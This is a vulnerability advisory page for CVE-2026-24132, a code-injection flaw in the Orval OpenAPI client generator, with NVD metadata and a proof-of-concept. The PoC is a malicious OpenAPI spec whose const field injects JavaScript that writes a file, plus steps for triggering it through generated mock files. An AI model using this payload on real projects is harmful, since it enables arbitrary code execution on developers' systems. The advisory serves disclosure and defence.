Security Vulnerability Report
中文
CVE-2026-24132 CVSS 9.8 CRITICAL

CVE-2026-24132

Published: 2026-01-23 00:15:52
Last Modified: 2026-02-27 19:00:41

Description

Orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Versions 7.19.0 and below and 8.0.0-rc.0 through 8.0.2 allow untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. The vulnerability is similar in impact to the previously reported enum x-enumDescriptions (GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core. The issue has been fixed in versions 7.20.0 and 8.0.3.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:orval:orval:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:orval:orval:*:*:*:*:*:*:*:* - VULNERABLE
Orval < 7.20.0
Orval 8.0.0-rc.0 - 8.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Malicious OpenAPI specification to exploit CVE-2026-24132 const maliciousSpec = { openapi: '3.0.0', info: { title: 'Malicious API', version: '1.0.0' }, paths: { '/test': { get: { responses: { '200': { description: 'Success', content: { 'application/json': { schema: { type: 'object', properties: { id: { type: 'integer', // Malicious const value for code injection const: '1; const fs = require("fs"); fs.writeFileSync("/tmp/pwned", "RCE");' } } } } } } } } } } }; // Usage with Orval: // 1. Save the malicious spec as malicious.yaml // 2. Run: orval --input malicious.yaml --output ./generated // 3. The generated mock files will contain the injected code // 4. Any process importing/running the generated mock will execute the injected JavaScript

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24132", "sourceIdentifier": "[email protected]", "published": "2026-01-23T00:15:52.403", "lastModified": "2026-02-27T19:00:40.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Versions \n7.19.0 and below and 8.0.0-rc.0 through 8.0.2 allow untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. The vulnerability is similar in impact to the previously reported enum x-enumDescriptions (GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core. The issue has been fixed in versions 7.20.0 and 8.0.3."}, {"lang": "es", "value": "Orval genera clientes JS con seguridad de tipos (TypeScript) a partir de cualquier especificación OpenAPI v3 o Swagger v2 válida. Las versiones 7.19.0 e inferiores y de la 8.0.0-rc.0 a la 8.0.2 permiten que especificaciones OpenAPI no confiables inyecten TypeScript/JavaScript arbitrario en archivos mock generados a través de la palabra clave const en las propiedades del esquema. Estos valores const se interpolan en el generador escalar mock (getMockScalar en packages/mock/src/faker/getters/scalar.ts) sin un escape adecuado o serialización con seguridad de tipos, lo que resulta en código controlado por el atacante siendo emitido tanto en las definiciones de interfaz como en los manejadores de faker/MSW. La vulnerabilidad es similar en impacto a la previamente reportada enum x-enumDescriptions (GHSA-h526-wf6g-67jv), pero afecta una ruta de código diferente en el generador mock basado en faker en lugar de @orval/core. El problema ha sido solucionado en las versiones 7.20.0 y 8.0.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orval:orval:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "7.20.0", "matchCriteriaId": "58823C13-79AA-42F4-8F1F-E045A6C80548"}, {"vulnerable": true, "criteria": "cpe:2.3:a:orval:orval:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.3", "matchCriteriaId": "9EE654F7-9C50-4514-AB35-B1E38D04F231"}]}]}], "references": [{"url": "https://github.com/orval-labs/orval/commit/44ca8c1f5f930a3e ... (truncated)